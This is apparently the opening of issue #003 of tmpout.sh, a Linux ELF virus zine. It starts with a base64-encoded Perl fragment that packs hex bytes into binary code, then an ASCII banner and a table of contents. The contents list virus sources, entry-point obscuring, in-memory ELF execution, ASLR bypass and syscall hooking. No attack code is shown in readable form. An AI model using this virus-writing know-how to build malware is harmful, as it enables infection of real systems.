+MDAwMDAwMzAwMTAwMDAwMDAwMDAwMDUwMDEwMDAwMDAwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFj
+ayBxL0gqLywgcS8wYjAwMDAwMDA5MDAwMDAwMDgwMDAwMDAwMDAwMDAwMDE4MDAwMDAwMDAwMDAw
+MDAwOTAwMDAwMDAzMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4MDAyMDAwMDAwMDAwMDAwM2EwMDAwMDAwMDAwMDAwMC87
+CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDExMDAwMDAwMDMwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBx
+L0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGIwMDMwMDAwMDAwMDAwMDA2
+MTAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAw
+MDAwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLzsKCiAgICByZXR1cm4gJGNvZGU7
+Cn0=
+
++┌── +▐ ──────────┌─────┐─────┐┌───────────┐┌───────────┐┌───┐───┐───┐──────────▌ ──┐│ +┏ │▐▐ ━━━━━━━━━━┏━━━━━┓━━━━━┓┏━━━━━━━━━━━┓┏━━━━━━━━━━━┓┏━━━┓ ┏━━━┓━━━━━━━━━━▌▌ ┓└ +┃ ┘▐▐ ┃ ┃┃ ┃ ┃ ┃┃ ┃┃ ┃┃ ┃ ┃ ┃┃ ┃▌▌ ┃┗━━━━━━━┛ ┣┃ ┃ ┃ ┃┃ ┏━━━┓ ┃┃ ┏━━━┓ ┃┃ ┃ ┃ ┃┛ ┃━━━━━━━┛ +┏━━━━━━┓ +┃ ┃┃ ┃━━━┛ ┃┃ ┃━━━┛ ┃┃ ┗━━━┛ ┃┃ ┗━━━┛ ┃┃ ┃ ┏━━━━━━┓┌ ┃ ┐ +⣿⣿ ┌ ⣿⣿⣿ ┃┃ ┃┃ ┃ ┃ ┃┃ ┃ ┃┃ ┃┃ ┃┃ ┃ ┃⣿⣿⣿ ┐ ⣿⣿ ┃│ +┃ │││ᵗ⁰│ ┃┗━━━┛┗━━━┛ ┗━━━┛┃ ┃━━━━━━━ ┃██ ━━━━━━━━━━━┛┗━━━━━━━━━━━┛┗━━━┛│ⁿˢ││ ┃│ +┗━━━━━━┇━━━━━━━━━━━━━━━━━ │┃ ┃ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┇━━━━━━┛│ +╭─ ││─── ┃ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┗━━━┛ #003 - 2023-11 ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┃ ─── ││─╮ │└──┘└──┘ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ └──┘└──┘+████████ Intro ~ + +t0 │ +██ ▄▄ ██ Second Part To Hell Interview ~t0 │ +██ ▀▀ ██ UNIX VIRUSES 25th Anniversary ~silvio │ +████████ Hijacking __cxa_finalize to achieve entry point obscuring ~vrzh │ + │ Linux.ElizaCanFix.asm ~vrzh │ +████████ Concealing Namespaces Within a File Descriptor ~Fanda Uchytil │ +██ ▄▄ ██ Dumping libc memory space to bypass ASLR ~jonaslyk │ +██ ▀▀ ██ ARM32 ELF Sizecoding ~deater │ +████████ A Silver Bullet To ELF Projects ~echel0n │ + │ in-memory-only fd-less ELF execution (with Perl) ~isra │ +████████ isra_exec_elf64.pl ~isra │ + │ ▄▄▄██ u used 2 call me on my polymorphic shell phone ~ic3qu33n │ + │ ▀▀▀██ Weird ELFs, or a tale of breaking parsers once again ~g1inko │ +████████ inspect0rGadget.asm - x64 ROP Gadget Finder ~s01den │ + │ Reverse Text Disinfector ~qkumba │ + │ RE of Linux.Nasty.asm ~qkumba │ + │ Linux.Anansi.c ~sad0p │ + │ Linux.Slinger.asm ~lvti │ + │ LKM Golf ~rqu & netspooky │ + │ easylkb: Easy Linux Kernel Builder ~ackmage & netspooky │ + │ 23 Open Problems for Digital Self-Replicators ~Second Part To Hell │ + │ Cramming a Tiny Program into a Tiny ELF File: A Case Study ~lm978 │ + │ silent syscall hooking on arm64 linux by patching svc handler ~wintermute │ + │ HVice - HyperVisor intrusion countermeasure electronics ~wintermute │ + │ BGGP4 Recap ~Binary Golf Association │ + │ LLMorpher ~Second Part To Hell │ + │ QRLog Malware Analysis ~mauro │ + │ HandJar.B ~r3s1stanc3 │ + │ ClassWar ~r3s1stanc3 │ + │ Linux.Linkin.pl: Another Perl x64 ELF virus ~isra │ + ╰─────────────────────────────── tmpout.sh//3 ───────────────────────────────╯